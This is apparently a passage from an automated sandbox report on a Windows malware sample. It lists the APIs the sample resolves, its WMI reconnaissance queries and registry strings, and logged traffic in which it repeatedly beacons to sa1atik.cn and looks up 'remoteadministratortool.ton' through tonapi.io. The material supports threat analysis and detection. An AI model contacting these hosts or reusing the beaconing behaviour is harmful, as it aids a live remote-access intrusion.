GetFileAttributesExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter getsockname (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter getsockopt (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSARecvFrom (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSASendTo (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter getpeername (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter VariantInit (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetLastInputInfo (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetWindowTextLengthW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetWindowTextW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertCreateCertificateContext (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertAddCertificateContextToStore (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00001124)31:T6a6,"Select Name from Win32_VideoController" (Source: 00000000-00001124-00002714-3131973232, Indicator: "select name from win32_videocontroller") "select Name from Win32_Processor" (Source: 00000000-00001124-00002714-3132340150, Indicator: "select name from win32_processor") "select * from Win32_OperatingSystem" (Source: 00000000-00001124-00002714-3132775913, Indicator: "select * from win32_operatingsystem") "select TotalPhysicalMemory from Win32_ComputerSystem" (Source: 00000000-00001124-00002714-3133065803, Indicator: "select totalphysicalmemory from win32_computersystem") "Select Name from Win32_VideoController" (Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp, Indicator: "select name from win32_videocontroller") "select TotalPhysicalMemory from Win32_ComputerSystem" (Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp, Indicator: "select totalphysicalmemory from win32_computersystem") "select Name from Win32_Processor" (Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp, Indicator: "select name from win32_processor") "select * from Win32_OperatingSystem" (Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp, Indicator: "select * from win32_operatingsystem")32:T591,Found reference to API (Indicator: "VirtualProtect"; File: "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe") Found reference to API (Indicator: "ExitProcess"; File: "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe") Found reference to API (Indicator: "GetProcAddress"; File: "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found reference to API (Indicator: "CancelIoEx"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp")33:Tc86,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001124.00000000.264273.03990000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291" in Source: 00000000-00001124.00000000.264273.03990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020401-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "hine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp 00000000-00001124.00000002.268114.03990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp 00000000-00001124.00000002.268114.03990000.00000004.mdmp "\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp 00000000-00001124.00000002.268114.03990000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp 00000000-00001124.00000002.268114.03990000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp 00000000-00001124.00000002.268114.03990000.00000004.mdmp34:Te38,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001124.00000000.264273.03990000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291" in Source: 00000000-00001124.00000000.264273.03990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020401-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00001124.00000000.264273.039D2000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "hine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00001124.00000002.268114.03990000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00001124.00000002.268114.03990000.00000004.mdmp "hine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001124.00000002.268114.03990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4" in Source: 00000000-00001124.00000002.268114.03990000.00000004.mdmp "\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001124.00000002.268114.03990000.00000004.mdmp35:T3de7,"GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 27 Sep 2026 15:31:38 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nGLeWqrjp8MMmR9fxC85mP80GeNBBdUiwGnAsdfhZsbOLC%2FTkRETlGJF5fsThZ%2FeRVEtwTK3AlxU99t%2B7PkB3PvSIH2JCkh4LoyFJikAvMvMYzSYvt%2Fr1f12qZg7EX0wYLDcKSzTXWaM"}]} CF-RAY: a41b8e70ccd5b86d-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39DC28820C391C281C390C2BEC29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:31:40 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=BPg86ibF6h0NuOCD9XzLzxm7q7AM7OjkDxt3B0JhCxS8wLpjKfHdGnjkZNeDNDwcTj5OhPmO%2B2J0%2Br4udExiFcyXmrVVsbjDUsRYWGfjE0udWOdBb%2BtugwN4%2Byde"}]} CF-RAY: a41b8e82ded00bc6-AMS alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:31:46 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b8ea3ea82159a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:31:46 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b8ea5bd5beb32-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:32:02 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8II2DU3d9xdSWAeOLAuEVAqahMjRGymt7uhegBJAb1AlhO%2BthQ%2Fp5w8671ibuq3%2BBFMvENomsVv7KKADKckSFe0NijOu71qc7jGIvwkPuoBbc5qhBSxy8Q7HpBkeuG1AraY3JgAkrzuH"}]} CF-RAY: a41b8f0e9a3f1479-VIE alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:32:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b8f2f6cce14cc-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:32:24 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SsGFUagVGsIYiTcZvOMG35GyhI%2BQgsIBUbIvrt84rYjpkk%2FbkvTRIa6khS3FsioX2EOZUcNI53Dlj7k50rS8IT8L2GtQCTOFnaJeo9SvKVEDI0z7TmHPtshhDrPF"}]} CF-RAY: a41b8f956c6fd592-AMS alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:32:29 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b8fb62fa3f0af-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:32:46 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=HQ54tAVMYreCNm3JevEujMgyktHgD%2BdzVCBBBYtN%2BANUrTm9HczHzNjyQoLUl%2BnyvRwiuak29aE3fxGPSbX2wNu6sM96JkxQVRjcA5KvmPYqb0WorzTVvpZm6tNtViMNPCCZi1eAzF0F"}]} CF-RAY: a41b901bec26f406-VIE alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:32:51 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b903ccd49cf0e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:33:07 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: 